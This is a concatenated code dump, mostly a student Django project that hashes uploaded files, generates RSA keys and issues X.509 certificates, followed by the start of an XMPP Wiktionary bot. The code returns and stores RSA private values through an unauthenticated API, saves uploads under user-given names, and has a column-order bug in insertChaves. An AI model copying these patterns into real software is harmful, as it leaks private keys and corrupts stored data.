{ name: 'Pagination 分页器', icon: 'fa fa-ellipsis-h', link: '/pagination-demo' },
{ name: 'Tab 选项卡', icon: 'fa fa-clone', link: '/tabs-demo' },
{ name: 'Upload 上传组件', icon: 'fa fa-upload', link: '/upload-demo' },
{ name: 'Slide 幻灯片', icon: 'fa fa-image', link: '/slide-demo' },
{ name: 'Datepicker 日期选择器', icon: 'fa fa-calendar', link: '/datepicker-demo' }
]
}
]
```
|
759b1484cd7e49e35e84178bd7004e45a0018176
|
[
"JavaScript",
"Markdown"
] | 2 |
JavaScript
|
watson-yan/viui-doc
|
cddd7c70ca9446ac29e05461694f2fdb62ea2113
|
a49367cf5ac3c45900eb0956810100ef0e88c3de
|
refs/heads/master
|
<repo_name>JoseLooLo/DesafioLabsec<file_sep>/website/views.py
#Django
from django.shortcuts import render
from django.views.generic import TemplateView, ListView, UpdateView, CreateView, DeleteView
from django.core.files.storage import FileSystemStorage
from rest_framework import generics, status
from rest_framework.response import Response
from django.urls import reverse_lazy
from django.views.decorators.csrf import csrf_exempt
from django.utils.decorators import method_decorator
from rest_framework.authentication import SessionAuthentication, BasicAuthentication
from django.template import RequestContext
#Project
from . import process
from labsec.models import Resumo, Chaves, Certificado
from labsec.serializer import ResumoSerializer, ChavesSerializer, CertificadosSerializer, CertificadoRaizSerializer
from .forms import InsereCertificadoForm
from . import db
#Others
import json
#------------------------------------#
'''Erros do Site'''
#------------------------------------#
def handler404(request, *args, **argv):
response = render(request, 'website/404.html')
response.status_code = 404
return response
def handler500(request, *args, **argv):
response = render(request, 'website/500.html')
response.status_code = 500
return response
#------------------------------------#
'''Funções do Site'''
#------------------------------------#
def indexFunction(request):
return render(request, "website/index.html")
def exemplosFunction(request):
return render(request, "website/exemplos.html")
def erroFunction(request):
return render(request, "website/erros.html")
def resumoFunction(request):
contexto = {
'texto': "Envie um documento para obter seu Resumo Criptográfico",
'desativado': "true"
}
try:
if request.method == 'POST' and request.FILES['arquivo']:
#Salva o arquivo em disco para usar no process
storage = FileSystemStorage(location="files/")
filename = storage.save(request.FILES['arquivo'].name, request.FILES['arquivo'])
uploaded_file_url = storage.url(filename)
up_to_sha = process.upload_to_sha256("files/"+uploaded_file_url)
contexto = {
'texto': up_to_sha,
'ativo': "true"
}
try:
db.insertResumo(filename, up_to_sha, "files/"+uploaded_file_url)
except:
print("coe")
except:
print("Nenhum arquivo")
return render(request, "website/resumo.html", contexto)
def gerarChaves(request):
contexto = {
'linha_n': 1,
'linha_e': 1,
'linha_p': 1,
'linha_q': 1,
'linha_d': 1,
'n': "",
'e': "",
'p': "",
'q': "",
'd': "",
}
if request.method == 'POST':
key = process.gerarRSAkey(int(request.POST['optradio']))
if (int(request.POST['optradio']) == 1024):
contexto = {
'linha_n': 4,
'linha_e': 1,
'linha_p': 2,
'linha_q': 2,
'linha_d': 4,
'n': str(key.n),
'e': str(key.e),
'p': str(key.p),
'q': str(key.q),
'd': str(key.d),
}
else:
contexto = {
'linha_n': 7,
'linha_e': 1,
'linha_p': 4,
'linha_q': 4,
'linha_d': 7,
'n': str(key.n),
'e': str(key.e),
'p': str(key.p),
'q': str(key.q),
'd': str(key.d),
}
try:
db.insertChaves(int(request.POST['optradio']), str(key.n), str(key.e), str(key.p), str(key.q), str(key.d))
except:
print("coe")
return render(request, "website/chaves.html", contexto)
def gerarCertificadoRaiz(request):
if request.method == "POST":
process.gerarCertificadoRaiz()
#Volta para o index devido a problemas no formulário
return render(request, "website/index.html")
#------------------------------------#
'''CLasses do Site'''
#------------------------------------#
class listaCertificados(ListView):
template_name = "website/certificados.html"
model = Certificado
context_object_name = "certificados"
class GerarCertificado(CreateView):
template_name = "website/gerarcertificado.html"
model = Certificado
form_class = InsereCertificadoForm
success_url = reverse_lazy("website:certificados")
def post(self, request):
try:
process.gerarCertificado(request.POST['certificateName'], request.POST['serialNumber'], request.POST['state'], request.POST['country'], request.POST['locality'], request.POST['organization'], request.POST['organizationalUnit'])
except:
print("Erro")
return(super().post(request))
#------------------------------------#
'''CLasses da API'''
#------------------------------------#
class ResumoList(generics.ListCreateAPIView):
queryset = Resumo.objects.all()
serializer_class = ResumoSerializer
def post(self, request):
serializer = ResumoSerializer(data=request.data)
if serializer.is_valid():
serializer.validated_data['nameUpload'] = request.FILES['arquivo'].name
storage = FileSystemStorage()
filename = storage.save(request.FILES['arquivo'].name, request.FILES['arquivo'])
resumo = process.upload_to_sha256(filename)
serializer.validated_data['resumoCriptografico'] = resumo
process.deletefile(filename)
serializer.save()
retorno = {
'nameUpload' : filename,
'resumoCriptografico' : resumo
}
return Response(json.dumps(retorno, sort_keys=True, indent=4), status=status.HTTP_201_CREATED)
return Response({}, status=status.HTTP_400_BAD_REQUEST)
class ChavesList(generics.ListCreateAPIView):
queryset = Chaves.objects.all()
serializer_class = ChavesSerializer
def post(self, request):
serializer = ChavesSerializer(data=request.data)
if serializer.is_valid():
key = process.gerarRSAkey(int(request.data['tipo']))
serializer.validated_data['n'] = str(key.n)
serializer.validated_data['e'] = str(key.e)
serializer.validated_data['p'] = str(key.p)
serializer.validated_data['q'] = str(key.q)
serializer.validated_data['d'] = str(key.d)
serializer.save()
retorno = {
'tipo': int(request.data['tipo']),
'n': str(key.n),
'e': str(key.e),
'p': str(key.p),
'q': str(key.q),
'd': str(key.d),
}
return Response(json.dumps(retorno, sort_keys=True, indent=4), status=status.HTTP_201_CREATED)
return Response({}, status=status.HTTP_400_BAD_REQUEST)
class CertificadoList(generics.ListCreateAPIView):
queryset = Certificado.objects.all()
serializer_class = CertificadosSerializer
def post(self, request):
serializer = CertificadosSerializer(data=request.data)
if serializer.is_valid():
process.gerarCertificado(request.POST['certificateName'], request.POST['serialNumber'], request.POST['state'], request.POST['country'], request.POST['locality'], request.POST['organization'], request.POST['organizationalUnit'])
serializer.save()
return Response(serializer.data, status=status.HTTP_201_CREATED)
return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)
class CertificadoRaizList(generics.CreateAPIView):
serializer_class = CertificadoRaizSerializer
def post(self, request):
retorno = process.gerarCertificadoRaiz()
if retorno == 0:
return Response({'CREATE': 'OK'}, status=status.HTTP_201_CREATED)
else:
return Response({'CREATE': 'EXIST'}, status=status.HTTP_200_OK)
<file_sep>/labsec/migrations/0007_auto_20191208_0340.py
# Generated by Django 3.0 on 2019-12-08 06:40
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('labsec', '0006_auto_20191208_0325'),
]
operations = [
migrations.AlterField(
model_name='chaves',
name='d',
field=models.IntegerField(max_length=650),
),
migrations.AlterField(
model_name='chaves',
name='e',
field=models.IntegerField(max_length=650),
),
migrations.AlterField(
model_name='chaves',
name='n',
field=models.CharField(max_length=650),
),
migrations.AlterField(
model_name='chaves',
name='p',
field=models.IntegerField(max_length=650),
),
migrations.AlterField(
model_name='chaves',
name='q',
field=models.IntegerField(max_length=650),
),
]
<file_sep>/labsec/migrations/0013_auto_20191208_1101.py
# Generated by Django 3.0 on 2019-12-08 14:01
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('labsec', '0012_auto_20191208_1007'),
]
operations = [
migrations.RemoveField(
model_name='certificado',
name='issuer',
),
migrations.AlterField(
model_name='certificado',
name='CertificateName',
field=models.CharField(blank=True, default='', max_length=255),
),
migrations.AlterField(
model_name='certificado',
name='Organization',
field=models.CharField(blank=True, default='', max_length=255),
),
migrations.AlterField(
model_name='certificado',
name='OrganizationalUnit',
field=models.CharField(blank=True, default='', max_length=255),
),
migrations.AlterField(
model_name='certificado',
name='country',
field=models.CharField(default='BR', max_length=2),
),
migrations.AlterField(
model_name='certificado',
name='locality',
field=models.CharField(blank=True, default='', max_length=255),
),
migrations.AlterField(
model_name='certificado',
name='serialNumber',
field=models.IntegerField(default=0),
),
migrations.AlterField(
model_name='certificado',
name='state',
field=models.CharField(blank=True, default='', max_length=255),
),
]
<file_sep>/README.md
<h2>Observações</h2>
É necessário possuir o python e o pip instalados previamente no sistema.
> Em alguns casos, como no windows, utilize o comando python no lugar de python3.
> Em alguns casos, se não funcionar, utilize o comando pip3 no lugar de pip.
<h2>Instalação</h2>
Para instalar as depêndencias necessárias, execute:
```
pip install -r requisitos.txt
```
Ou instale manualmente os pacotes cujos nomes estão no arquivo requisitos.txt
<h2>Dependências</h2>
Após instalar as dependências e antes de executar o projeto, executar os seguintes comandos estando na pasta raiz do projeto.
Para configurações inicias e criação do banco de dados
```
python3 manage.py makemigrations
```
Logo após executar para criar as tabelas
```
python3 manage.py migrate
```
<h2>Execução</h2>
Para executar o projeto, executar o seguinte comando estando na pasta raiz do projeto.
```
python3 manage.py runserver
```
Com isso um servidor local será iniciado. Acesse http://localhost:8000 para vizualisar o site e webservice.
<h2>Interface web</h2>
Um site simples foi criado para servir de interface para testar todos os desafios desenvolvidos.
Para acessar acesse o localhost http://127.0.0.1:8000
<h2>Web Service</h2>
O Web Service foi criado utilizando RESTful.
Serão listados os Métodos HTTP de cada etapa do desafio juntamente com um código exemplo em python.
<h3>Resumo Criptográfico</h3>
<b>GET</b> - Retorna todos os resumos criados até o momento.
```
import requests
resumos = requests.get('http://localhost:8000/getresumo/')
print(resumos.json())
```
<b>POST</b> - Envia um arquivo para o servidor e retorna um json com o resumo criptografico.
```
import requests
send = {
'arquivo' : ('requisitos.txt', open('requisitos.txt', 'rb'), 'multipart/form-data')
}
resumo = requests.post('http://localhost:8000/getresumo/', files = send)
print(resumo.json())
```
<h3>Chaves Assimétricas</h3>
<b>GET</b> - Retorna todas as chaves assimétricas criadas até o momento.
```
import requests
chaves = requests.get('http://localhost:8000/getchaves/')
print(chaves.json())
```
<b>POST</b> - Envia um int >=1024 e retorna uma chave assimétrica contendo a quantidade de bits passada.
```
import requests
send = {
'tipo' : 2048
}
chaves = requests.post('http://localhost:8000/getchaves/', data = send)
print(chaves.json())
```
<h3>Certificado Raiz</h3>
<b>POST</b> - Sem nenhum argumento. Retorna um json avisando se criou ou não um certificado AC-RAIZ.
Os dados do certificado já estão definidos no código, por esse motivo não há argumentos.
```
import requests
certificados = requests.post('http://localhost:8000/getcertificadoraiz/')
print(certificados.json())
```
<h3>Certificados Assinados pela AC-RAIZ</h3>
<b>GET</b> - Retorna uma lista com todos os certificados criados e assinados pela AC-RAIZ até o momento.
```
import requests
certificados = requests.get('http://localhost:8000/getcertificados/')
print(certificados.json())
```
<b>POST</b> - Envia um número serial e informações para o servidor e cria um certificado assinado pela AC-RAIZ. O certificado fica armazenado no servidor.
```
import requests
send = {
'serialNumber' : 1234,
'certificateName' : 'name',
'organization' : 'organization',
'organizationalUnit' : 'organizationalUnit',
'country' : 'BR',
'locality' : 'locality',
'state' : 'state'
}
certificado = requests.post('http://localhost:8000/getcertificados/', data = send)
print(certificado.json())
```
<h2>Dúvidas e Contato</h2>
- [X] <EMAIL>
<file_sep>/labsec/migrations/0014_auto_20191209_0453.py
# Generated by Django 3.0 on 2019-12-09 07:53
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('labsec', '0013_auto_20191208_1101'),
]
operations = [
migrations.RenameField(
model_name='certificado',
old_name='OrganizationalUnit',
new_name='organizationalUnit',
),
migrations.RemoveField(
model_name='certificado',
name='CertificateName',
),
migrations.RemoveField(
model_name='certificado',
name='Organization',
),
migrations.AddField(
model_name='certificado',
name='certificateName',
field=models.CharField(default='', max_length=255),
),
migrations.AddField(
model_name='certificado',
name='organization',
field=models.CharField(default='', max_length=255),
),
migrations.AlterField(
model_name='certificado',
name='country',
field=models.CharField(default='', max_length=2),
),
migrations.AlterField(
model_name='certificado',
name='locality',
field=models.CharField(default='', max_length=255),
),
migrations.AlterField(
model_name='certificado',
name='state',
field=models.CharField(default='', max_length=255),
),
]
<file_sep>/labsec/migrations/0010_auto_20191208_0825.py
# Generated by Django 3.0 on 2019-12-08 11:25
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('labsec', '0009_auto_20191208_0616'),
]
operations = [
migrations.RemoveField(
model_name='certificado',
name='subject',
),
migrations.AddField(
model_name='certificado',
name='CertificateName',
field=models.CharField(default='', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='certificado',
name='Organisation',
field=models.CharField(default='', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='certificado',
name='OrganisationalUnit',
field=models.CharField(default='', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='certificado',
name='city',
field=models.CharField(default='', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='certificado',
name='locality',
field=models.CharField(default='', max_length=255),
preserve_default=False,
),
migrations.AddField(
model_name='certificado',
name='state',
field=models.CharField(default='', max_length=255),
preserve_default=False,
),
]
<file_sep>/labsec/migrations/0011_auto_20191208_0936.py
# Generated by Django 3.0 on 2019-12-08 12:36
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('labsec', '0010_auto_20191208_0825'),
]
operations = [
migrations.RenameField(
model_name='certificado',
old_name='Organisation',
new_name='Organization',
),
migrations.RenameField(
model_name='certificado',
old_name='OrganisationalUnit',
new_name='OrganizationalUnit',
),
]
<file_sep>/labsec/migrations/0015_auto_20191209_1539.py
# Generated by Django 3.0 on 2019-12-09 18:39
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('labsec', '0014_auto_20191209_0453'),
]
operations = [
migrations.AlterModelManagers(
name='certificado',
managers=[
],
),
]
<file_sep>/labsec/migrations/0003_resumo_arquivo.py
# Generated by Django 3.0 on 2019-12-08 04:19
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('labsec', '0002_resumo'),
]
operations = [
migrations.AddField(
model_name='resumo',
name='arquivo',
field=models.FileField(blank=True, default='', upload_to=''),
),
]
<file_sep>/website/templates/website/exemplos.html
{% extends "website/_layouts/base.html" %}
{% block title %} Exemplos API {% endblock %}
{% block conteudo %}
<div class = "container-fluid">
<div class = "row" id = "rowchave">
<div class = "col">
<div class = "card">
<div class = "card body">
<h5 class="card-title">Exemplos</h5>
<p class="card-text">
<b>Serão mostradas alguns exemplos de <code>Requisições</code> para exemplificar o uso da API.</b><br>
<b>Os exemplos são na linguagem Python e utilizando a library requests.</b><br>
Para instalar a library requests use <code>pip install requests</code><br>
*Para problemas com CSRF, consulte o ultimo bloco.
<hr>
</p>
</div>
</div>
</div>
</div>
<div class = "row" id = "rowchave">
<div class = "col">
<div class = "card">
<div class = "card body">
<h5 class="card-title">Resumo Criptográfico</h5>
<div class = "codigo">
<p class="card-text">
import <code>requests</code><br>
send = {<br>
'arquivo' : (nomeArquivo, open(nomeArquivo, 'rb'), 'multipart/form-data')<br>
}<br>
resumo = requests.post('http://localhost:8000/getresumo/', files = send)<br>
resumo.json()
</p>
</div>
<div class = "codigo" id = "get1">
<p class="card-text">
import <code>requests</code><br>
resumos = requests.get('http://localhost:8000/getresumo/')<br>
resumos.json()
</p>
</div>
</div>
</div>
</div>
</div>
<div class = "row" id = "rowchave">
<div class = "col">
<div class = "card">
<div class = "card body">
<h5 class="card-title">Chaves Assimétricas</h5>
<div class = "codigo">
<p class="card-text">
import <code>requests</code><br>
send = {<br>
'tipo' : 2048<br>
}<br>
chaves = requests.post('http://localhost:8000/getchaves/', data = send)<br>
chaves.json()
</p>
</div>
<div class = "codigo" id = "get1">
<p class="card-text">
import <code>requests</code><br>
chaves = requests.get('http://localhost:8000/getchaves/')<br>
chaves.json()
</p>
</div>
</div>
</div>
</div>
</div>
<div class = "row" id = "rowchave">
<div class = "col">
<div class = "card">
<div class = "card body">
<h5 class="card-title">Certificados</h5>
<div class = "codigo">
<p class="card-text">
import <code>requests</code><br>
send = {<br>
'serialNumber' : 1234, <br>
'certificateName' : 'name', <br>
'organization' : 'organization',<br>
'organizationalUnit' : 'organizationalUnit',<br>
'country' : 'BR',<br>
'locality' : 'locality',<br>
'state' : 'state'<br>
}<br>
certificados = requests.post('http://localhost:8000/getcertificados/', data = send)<br>
certificados.json()
</p>
</div>
<div class = "codigo" id = "get1">
<p class="card-text">
import <code>requests</code><br>
certificados = requests.get('http://localhost:8000/getcertificados/')<br>
certificados.json()
</p>
</div>
</div>
</div>
</div>
</div>
<div class = "row" id = "rowchave">
<div class = "col">
<div class = "card">
<div class = "card body">
<h5 class="card-title">Certificado Raiz</h5>
<div class = "codigo" id = "get1">
<p class="card-text">
import <code>requests</code><br>
certificados = requests.post('http://localhost:8000/getcertificadoraiz/')<br>
certificados.json()
</p>
</div>
</div>
</div>
</div>
</div>
</div>
{% endblock %}<file_sep>/website/process.py
#Others
import hashlib
import os
from random import randint
from Crypto.PublicKey import RSA
from OpenSSL import crypto, SSL
from socket import gethostname
def upload_to_sha256(arquivo):
buffer_size = 1024
sha = hashlib.sha256()
with open(arquivo, 'rb') as arq:
while True:
data = arq.read(buffer_size)
if not data:
break
sha.update(data)
return sha.hexdigest()
def deletefile(arquivo):
os.remove(arquivo)
def gerarCertificadoRaiz():
key = crypto.PKey()
key.generate_key(crypto.TYPE_RSA, 2048)
certificado = crypto.X509()
certificado.get_subject().C = "BR"
certificado.get_subject().ST = "Santa Catarina"
certificado.get_subject().L = "Florianopolis"
certificado.get_subject().O = "UFSC"
certificado.get_subject().OU = "-"
certificado.get_subject().CN = gethostname()
certificado.set_serial_number(333)
certificado.gmtime_adj_notBefore(0)
certificado.gmtime_adj_notAfter(315360000)
certificado.set_issuer(certificado.get_subject())
certificado.set_pubkey(key)
certificado.sign(key, 'sha256')
if os.path.exists("CertificadoACRAIZ.crt"):
print ("Certificado existente.")
return -1
else:
open("CertificadoACRAIZ.crt", 'wb').write(crypto.dump_certificate(crypto.FILETYPE_PEM, certificado))
open("PrivateKeyACRAIZ.key", 'wb').write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key))
return 0
def gerarCertificado(name, serial, state, country, locality, org, orgunit):
key = crypto.PKey()
key.generate_key(crypto.TYPE_RSA, 2048)
certificado = crypto.X509()
certificado.get_subject().C = country
certificado.get_subject().ST = state
certificado.get_subject().L = locality
certificado.get_subject().O = org
certificado.get_subject().OU = orgunit
certificado.get_subject().CN = name
certificado.set_serial_number(int(serial))
certificado.gmtime_adj_notBefore(0)
certificado.gmtime_adj_notAfter(200000000)
try:
certRaiz = crypto.load_certificate(crypto.FILETYPE_PEM, open("CertificadoACRAIZ.crt").read())
except:
print("Certificado raiz não encontrado")
return -1
try:
privatekeyRaiz = crypto.load_privatekey(crypto.FILETYPE_PEM, open("PrivateKeyACRAIZ.key").read())
except:
print("Private key raiz não encontrada")
return -2
certificado.set_issuer(certRaiz.get_subject())
certificado.set_pubkey(key)
certificado.sign(privatekeyRaiz, 'sha256')
open("certificates/{}{}.crt".format(name, serial), 'wb').write(crypto.dump_certificate(crypto.FILETYPE_PEM, certificado))
open("certificates/{}{}.key".format(name, serial), 'wb').write(crypto.dump_privatekey(crypto.FILETYPE_PEM, key))
def gerarRSAkey(tipo):
rand = 0
while (rand % 2 == 0):
rand = randint(65537, 100000)
key = RSA.generate(tipo, e=rand)
return key<file_sep>/website/urls.py
#Django
from django.urls import path
from django.views.decorators.csrf import csrf_exempt
#Project
from . import views
from .views import ResumoList, ChavesList, GerarCertificado, listaCertificados, CertificadoList, CertificadoRaizList
app_name = "website"
urlpatterns = [
path('', views.indexFunction, name = 'index'),
path('exemplos/', views.exemplosFunction, name = 'exemplos'),
path('getresumo/', ResumoList.as_view(), name='resumo-list'),
path('resumo/', views.resumoFunction, name = "resumo"),
path('erros/', views.erroFunction, name = "erro"),
path('chaves/', views.gerarChaves, name = "chaves"),
path('getchaves/', ChavesList.as_view(), name='chaves-list'),
path('getcertificados/', CertificadoList.as_view(), name='certificado-list'),
path('gerarcertificado/', GerarCertificado.as_view(), name = "gerarcertificado"),
path('gerarcertificado/raiz', views.gerarCertificadoRaiz, name = "gerarcertificadoraiz"),
path('certificados/', listaCertificados.as_view(), name = "certificados"),
path('getcertificadoraiz/', CertificadoRaizList.as_view(), name = "certificado-raiz"),
]
<file_sep>/labsec/migrations/0004_auto_20191208_0233.py
# Generated by Django 3.0 on 2019-12-08 05:33
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('labsec', '0003_resumo_arquivo'),
]
operations = [
migrations.AlterField(
model_name='resumo',
name='resumoCriptografico',
field=models.CharField(max_length=64),
),
]
<file_sep>/website/forms.py
#Django
from django import forms
#Project
from labsec.models import Certificado
class InsereCertificadoForm(forms.ModelForm):
class Meta:
model = Certificado
fields = [
'serialNumber',
'certificateName',
'organization',
'organizationalUnit',
'country',
'locality',
'state'
]<file_sep>/labsec/migrations/0012_auto_20191208_1007.py
# Generated by Django 3.0 on 2019-12-08 13:07
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('labsec', '0011_auto_20191208_0936'),
]
operations = [
migrations.RenameField(
model_name='certificado',
old_name='city',
new_name='country',
),
]
<file_sep>/labsec/migrations/0009_auto_20191208_0616.py
# Generated by Django 3.0 on 2019-12-08 09:16
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('labsec', '0008_auto_20191208_0340'),
]
operations = [
migrations.RenameField(
model_name='certificado',
old_name='serial',
new_name='serialNumber',
),
migrations.AddField(
model_name='certificado',
name='issuer',
field=models.CharField(default='teste', max_length=255),
preserve_default=False,
),
migrations.AlterModelTable(
name='certificado',
table='certificados',
),
]
<file_sep>/labsec/serializer.py
#Django
from rest_framework import serializers
#Project
from .models import Resumo, Chaves, Certificado
class ResumoSerializer(serializers.ModelSerializer):
class Meta:
model = Resumo
fields = ('nameUpload', 'resumoCriptografico', 'arquivo',)
read_only_fields = ('nameUpload', 'resumoCriptografico',)
write_only_fields = ('arquivo',)
class ChavesSerializer(serializers.ModelSerializer):
class Meta:
model = Chaves
fields = ('tipo', 'n', 'e', 'p', 'q', 'd',)
read_only_fields = ('n', 'e', 'p', 'q', 'd',)
class CertificadosSerializer(serializers.ModelSerializer):
class Meta:
model = Certificado
fields = ('serialNumber', 'certificateName', 'organization', 'organizationalUnit', 'country', 'locality', 'state')
class CertificadoRaizSerializer(serializers.ModelSerializer):
class Meta:
model = Certificado
exclude = ('serialNumber', 'certificateName', 'organization', 'organizationalUnit', 'country', 'locality', 'state')<file_sep>/labsec/models.py
#Django
from django.db import models
class Certificado(models.Model):
class Meta:
db_table = 'certificados'
country = models.CharField(
max_length=2,
default='',
blank=False,
null = False,
)
state = models.CharField(
max_length=255,
default='',
blank=False,
null = False,
)
locality = models.CharField(
max_length=255,
default='',
blank=False,
null = False,
)
organization = models.CharField(
max_length=255,
default='',
blank=False,
null = False,
)
organizationalUnit = models.CharField(
max_length=255,
default='',
blank=True,
null = False,
)
certificateName = models.CharField(
max_length=255,
default='',
blank=False,
null = False,
)
serialNumber = models.IntegerField(
default=0
)
class Chaves(models.Model):
class Meta:
db_table = 'chaves'
tipo = models.IntegerField(
)
n = models.CharField(
max_length=650
)
e = models.CharField(
max_length=650
)
p = models.CharField(
max_length=650
)
q = models.CharField(
max_length=650
)
d = models.CharField(
max_length=650
)
class Resumo(models.Model):
class Meta:
db_table = 'resumo'
nameUpload = models.CharField(
max_length=200
)
resumoCriptografico = models.CharField(
max_length=64
)
arquivo = models.FileField(
blank=True,
default='',
upload_to='files'
)<file_sep>/labsec/urls.py
#Django
from django.urls.conf import include
from django.contrib import admin
from django.urls import path
from django.conf.urls import handler400, handler500
handler404 = 'website.views.handler404'
handler500 = 'website.views.handler500'
urlpatterns = [
path('', include('website.urls', namespace='website')),
path('admin/', admin.site.urls),
]
<file_sep>/website/db.py
import sqlite3
def insertResumo(name, resumo, arquivo):
conn = sqlite3.connect('db.sqlite3')
cursor = conn.cursor()
cursor.execute("INSERT INTO resumo (id, nameUpload, resumoCriptografico, arquivo) VALUES (?,?,?,?)", (countResumo(), name, resumo, arquivo))
conn.commit()
conn.close()
def countResumo():
conn = sqlite3.connect('db.sqlite3')
cursor = conn.cursor()
cursor.execute("SELECT COUNT(*) As total from resumo")
return_value = cursor.fetchone()[0] + 1
conn.close()
return return_value
def insertChaves(tipo, n, e, p, q, d):
conn = sqlite3.connect('db.sqlite3')
cursor = conn.cursor()
cursor.execute("INSERT INTO chaves (id, tipo, n, e, p, d, q) VALUES (?,?,?,?,?,?,?)", (countChaves(), tipo, n, e, p, q, d))
conn.commit()
conn.close()
def countChaves():
conn = sqlite3.connect('db.sqlite3')
cursor = conn.cursor()
cursor.execute("SELECT COUNT(*) As total from chaves")
return_value = cursor.fetchone()[0] + 1
conn.close()
return return_value<file_sep>/README.txt
===========
Observações
===========
É necessário possuir o python e o pip instalados previamente no sistema.
> Em alguns casos, como no windows, utilize o comando python no lugar de python3.
> Em alguns casos, se não funcionar, utilize o comando pip3 no lugar de pip.
==========
Instalação
==========
Para instalar as depêndencias necessárias, execute:
pip install -r requisitos.txt
Ou instale manualmente os pacotes cujos nomes estão no arquivo requisitos.txt
============
Dependências
============
Após instalar as dependências e antes de executar o projeto, executar os seguintes comandos estando na pasta raiz do projeto.
Para configurações inicias e criação do banco de dados
python3 manage.py makemigrations
Logo após executar para criar as tabelas
python3 manage.py migrate
========
Execução
========
Para executar o projeto, executar o seguinte comando estando na pasta raiz do projeto.
python3 manage.py runserver
Com isso um servidor local será iniciado. Acesse http://localhost:8000 para vizualisar o site e webservice.
=============
Interface web
=============
Um site simples foi criado para servir de interface para testar todos os desafios desenvolvidos.
Para acessar acesse o localhost http://127.0.0.1:8000
===========
Web Service
===========
O Web Service foi criado utilizando RESTful.
Códigos exemplos podem ser encontrados no arquivo Exemplos.txt
=================
Dúvidas e Contato
=================
<EMAIL>
<file_sep>/labsec/migrations/0005_auto_20191208_0323.py
# Generated by Django 3.0 on 2019-12-08 06:23
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('labsec', '0004_auto_20191208_0233'),
]
operations = [
migrations.CreateModel(
name='Chaves',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('tipo', models.IntegerField(max_length=4)),
('n', models.IntegerField(max_length=617)),
('e', models.IntegerField(max_length=617)),
('p', models.IntegerField(max_length=617)),
('q', models.IntegerField(max_length=617)),
('d', models.IntegerField(max_length=617)),
],
options={
'db_table': 'chaves',
},
),
migrations.AlterField(
model_name='resumo',
name='arquivo',
field=models.FileField(blank=True, default='', upload_to='files'),
),
]
|
be5594baccaf456e0b4e5db263913d154f94e91f
|
[
"Markdown",
"Python",
"Text",
"HTML"
] | 22 |
Python
|
JoseLooLo/DesafioLabsec
|
74e3cc6dcdb5be3db2b8bb34618cd24c3ed64c3a
|
e74e0904a05fb68a82b85b06083c6f8aac1c5830
|
refs/heads/master
|
<file_sep>#!/usr/bin/python
from BeautifulSoup import BeautifulSoup
from wiktionaryparser import WiktionaryParser
from xml.etree import cElementTree as ET
try:
import simplejson as json
except:
import json
class KNWiktionaryParser(WiktionaryParser):
'''
Parser for Kannada wiktionary
'''
def __init__(self, logger):
WiktionaryParser.__init__(self, logger)
self.logger = logger
def _prepare_message(self, meanings):
if len(meanings) > 0:
reply_body = ''
reply_xml = self.xhtml_im_header
i = 0
for wtype in meanings.get('wtypes'):
reply_body += '\n' + wtype + ': \n'
reply_xml += '<br/><strong>' + wtype + ': </strong><br/>'
defs = ','.join(meanings.get('definitions')[i])
reply_body += defs
reply_xml += '<p>' + defs + '</p>'
i += 1
reply_xml += self.xhtml_im_footer
ctree = ET.fromstring(reply_xml)
if len(reply_body) > 0:
return (reply_body, ctree)
def get_meaning(self, data):
meanings = {}
wtypes = []
meanings_list = []
try:
# Remove () from the output
tmp = data.lstrip('(').rstrip(')')
content = json.loads(tmp)
html_content = content.get('parse').get('text').get('*')
soup = BeautifulSoup(html_content)
# H3 has word type
h3s = soup.findAll("h3")
for h3 in h3s:
wtypes.append(h3.find("span",{
"class" : "mw-headline"
}).string)
ols = soup.findAll("ol")
for ol in ols:
def_list = []
for li in ol.findAll("li"):
for a in li.findAll("a"):
def_list.append(a.string)
meanings_list.append(def_list)
meanings['wtypes'] = wtypes
meanings['definitions'] = meanings_list
except Exception as e:
self.logger.errorlogger.exception('Something went wrong: {0}'.format(e.message))
return self._prepare_message(meanings)
<file_sep>#!/usr/bin/python
#-*- coding: utf-8 -*-
import sys
import os
import sleekxmpp
import yaml
import logging
from argparse import ArgumentParser
from multiprocessing import Process
from bridge import ParserBridge
from loghandler import LogHandler
from constants import *
# Python versions before 3.0 do not use UTF-8 encoding
# by default. To ensure that Unicode is handled properly
# throughout SleekXMPP, we will set the default encoding
# ourselves to UTF-8.
if sys.version_info < (3, 0):
reload(sys)
sys.setdefaultencoding('utf8')
else:
raw_input = input
class DictBot(sleekxmpp.ClientXMPP):
"""
A dictionary bot which recieves words as input from any language
looks up the meaning from the respective wiktionary and responds
with proper formatted output
If meaning is not found it responds with a data form asking user
to input the meanings types etc.
"""
def __init__(self, jid, password, logger, lang='kn_IN'):
sleekxmpp.ClientXMPP.__init__(self, jid, password)
self.register_plugin('xep_0030') # Service Discovery
self.register_plugin('xep_0004') # Data Forms
self.register_plugin('xep_0060') # PubSub
self.register_plugin('xep_0199') # XMPP Ping
self.add_event_handler("session_start", self.start)
self.add_event_handler("message", self.message)
self.auto_authorize = True
self.logger = logger
self.lang = lang
def start(self, event):
"""
Process the session_start event.
Typical actions for the session_start event are
requesting the roster and broadcasting an initial
presence stanza.
:param event: An empty dictionary. The session_start
event does not provide any additional
data
"""
self.send_presence()
self.get_roster()
def message(self, msg):
"""
Process the message stanza from client basically this
will be request from the user containing single word
but some time might be error message so before proceeding
with processing of the message it is better to check type
of message.
If message is valid chat type pass it on to the bridge
code to do further processing and wait for result.
:param msg: Message object representing the message from
client.
"""
if msg['type'] in ('chat', 'normal'):
if msg['body'].strip().lower() == 'hi':
self.make_message(msg['from'], welcome_output).send()
else:
